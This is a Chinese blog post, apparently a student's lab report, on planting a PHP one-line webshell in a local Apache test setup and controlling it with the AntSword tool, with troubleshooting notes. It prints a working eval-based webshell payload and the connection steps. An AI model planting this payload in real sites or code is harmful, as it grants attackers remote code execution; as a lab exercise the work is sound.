实验:复现PHP一句话木马的利用
Posted 临风而眠
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了实验:复现PHP一句话木马的利用相关的知识,希望对你有一定的参考价值。
实验:复现php一句话木马的利用
文章目录
实验目标
在PHP环境中写入一句话木马,并利用蚁剑进行连接,获得网络主机的控制权,并截图。
加分项:
- 利用修改.htaccess文件或者.user.ini文件,使得 .jpg 格式的文件成为php可执行文件,并用蚁剑进行连接
详细步骤
1.创建php文件
- 在WSL2子系统中
cd~
mkdir html
- 创建php文件
vi index2.php
-
写入一句话木马的内容
(此处有误,后文有解释😜)
<?php eval(@$_POST['a']); ?>
遇到的问题:
还没写好index2.php就不小心按了ESC(好像按的是crtl+z
,然后再在命令行执行index2.php,会跳出下面这个:
解决方案:
选择R recover
直接ENTER,就回到vi编辑器了
2.下载、初始化蚁剑
下载链接:https://github.com/AntSwordProject/AntSword-Loader
-
解压后,双击打开这个
-
会显示让选择工作目录
遇到的问题:
我新建了一个文件夹作为工作目录,先显示正在安装代码,然后显示错误:
解决方案:
这里我搜了下解决办法:
但我感觉网上提供的解决方案还是麻烦了些,比如这个:https://blog.csdn.net/Ahuuua/article/details/109034528
然后我就想想自动解压出错,能不能试试手动解压.
-
进入我所选的文件夹,我尝试手动解压
先把这个antSword-master删掉(因为自动解压出错了,没有解压完整),然后再手动解压
-
重新启动蚁剑,选择这个antSword-master作为工作目录
蚁剑上面显示:检测到已经安装代码,然后显示了一些东西之后,让我稍后手动重启
-
重启蚁剑
3.用蚁剑连接获得控制权
-
右键添加数据
-
输入一句话木马所在的url地址
-
连接密码指一句话木马里$_POST[’’]里的字符串,在这里是a
遇到的问题:
如上图,返回数据为空
解决方案
猜想+学长帮助✌
-
我猜原因应该是
我的html文件夹里面的那个写了hello world的html的php文件导致的
可能是下面图中这个问题吧,需要修改配置文件才能让一个apache部署多个php网站,我没有修改配置文件,默认部署的是
index.php
而不是index2.php
-
而且我访问127.0.0.1:8000,也是显示那个
-
那先把这个index.php删掉,保留index2.php试试
-
重新访问:
额…
这波遇到了我总结的那篇博客里的问题
然后又经历了一番挣扎,还是去问学长吧😭
- 一方面是,前面的一句话木马写错了
<?php @eval($_POST['a']); ?>
-
重新编辑一波
-
另一方面,修改URL,改为:
http://127.0.0.1:8000/index2.php
连接成功!
why and try again
默认的配置文件是默认会用index.php来提供服务
而我前面rm index.php之后,目录下就没有那个东西了
如果我把一句话木马写到index.php里面而不是index2.php里面,那就可以直接
- 来试一试
插播下面这个:(因为我做这个的时候之前打开的docker关闭了)
重新
docker start 那个容器ID
- 去把那个index2.php删掉
- 重新把一句话木马编写在index.php里面
比较奇怪,我已经rm了,为啥说还存在隐藏的临时文件
去查了一波参考这个教程:解决 swap file “*.swp”already exists!问题,用ll -a
把隐藏的临时文件显示出来然后删掉就行
🆗,可以往下做了,vi编辑完后,检验一下:
这波,果真可以了!好耶!!!
再点击那个添加,进入下面这个界面:
右键,点击文件管理后可以进入如下界面:
纠正之前说法
我的那篇博客里面说遇到了那个
You don't have permission to access the source
,然后我查很多教程说配置文件在/etc目录下,我寻思我cd ~
之后到了根目录,结果ls
一波,根本没那些玩意… 结果
cd /
才是切换到根目录… 还是太主观臆断了… 想想ls只有几个文件,那之前的wsl2里面的C盘 D盘路径是怎么来的…
反思总结
- 看了下网上的一句话木马,👉CSDN一个高赞博客:Web安全-一句话木马,了解了一下原理和其他写入方式
以上是关于实验:复现PHP一句话木马的利用的主要内容,如果未能解决你的问题,请参考以下文章